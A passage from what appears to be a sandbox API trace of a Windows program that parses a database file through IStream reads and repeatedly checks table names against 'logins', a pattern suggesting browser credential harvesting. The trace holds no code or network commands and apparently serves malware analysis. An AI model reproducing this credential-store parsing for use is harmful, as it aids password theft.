| out: pv=0x12f97a*=0x3, pcbRead=0x12f948*=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6010, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.172] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x4, pcbRead=0x12f948*=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6012, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.172] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x3, pcbRead=0x12f948*=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.172] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6014, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.173] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x2, pcbRead=0x12f948*=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6016, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.173] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x1, pcbRead=0x12f948*=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6018, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.173] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x1, pcbRead=0x12f948*=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6767, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6767, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.173] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x66, pcbRead=0x12f928*=0x1) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.173] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6768, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.173] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x1, pcbRead=0x12f928*=0x1) returned 0x0 [0079.173] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6769, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.174] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x66, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0x66) returned 0x0 [0079.174] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x66, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x66) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.174] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.174] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.174] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.175] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x15, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.175] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x15, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.175] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.175] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x81, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.175] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.176] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x2f, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.176] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x74, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.176] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x4, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x6d, pcbRead=0x12f8f8*=0x4) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.176] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x4, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x6d, pcbRead=0x12f8f8*=0x4) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.176] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.176] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x2, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.177] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x65b5e8, cb=0x51, pcbRead=0x12f8f8 | out: pv=0x65b5e8*=0x43, pcbRead=0x12f8f8*=0x51) returned 0x0 [0079.177] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.177] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0079.177] LocalFree (hMem=0x664480) returned 0x0 [0079.177] LocalFree (hMem=0x6643e8) returned 0x0 [0079.177] LocalFree (hMem=0x664350) returned 0x0 [0079.177] LocalFree (hMem=0x665780) returned 0x0 [0079.177] LocalFree (hMem=0x6505e8) returned 0x0 [0079.177] LocalFree (hMem=0x670d78) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x67cf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x67cf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.177] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x27, pcbRead=0x12f928*=0x1) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.177] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x67d0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.177] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x2, pcbRead=0x12f928*=0x1) returned 0x0 [0079.177] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.177] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x67d1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.178] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x27, pcbRead=0x12f938 | out: pv=0x655310*=0x6, pcbRead=0x12f938*=0x27) returned 0x0 [0079.178] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x27, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x27) returned 0x0 [0079.178] LocalFree (hMem=0x655310) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.178] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x6, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.178] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.178] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.178] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.179] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x3b, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.179] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x15, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.179] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.179] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x0, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.179] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.179] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.179] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.179] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x69, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.179] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.180] LocalFree (hMem=0x6687b0) returned 0x0 [0079.180] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670cd8 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.180] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670cd8, cb=0x17, pcbRead=0x12f8f8 | out: pv=0x670cd8*=0x73, pcbRead=0x12f8f8*=0x17) returned 0x0 [0079.180] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.180] LocalFree (hMem=0x670cd8) returned 0x0 [0079.180] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x6687b0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.180] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x4, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x6d, pcbRead=0x12f8f8*=0x4) returned 0x0 [0079.180] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.180] LocalFree (hMem=0x6687b0) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.180] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.180] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x3, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.180] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6643e8 [0079.180] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.180] LocalFree (hMem=0x670d78) returned 0x0 [0079.180] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.180] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0079.180] LocalFree (hMem=0x665780) returned 0x0 [0079.180] LocalFree (hMem=0x652cb0) returned 0x0 [0079.180] LocalFree (hMem=0x664350) returned 0x0 [0079.180] LocalFree (hMem=0x6643e8) returned 0x0 [0079.181] LocalFree (hMem=0x6687b0) returned 0x0 [0079.181] LocalFree (hMem=0x670c38) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x648a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x648a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.181] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x85, pcbRead=0x12f928*=0x1) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x648b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.181] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x5a, pcbRead=0x12f928*=0x1) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.181] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x648c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.181] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x3, pcbRead=0x12f928*=0x1) returned 0x0 [0079.181] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 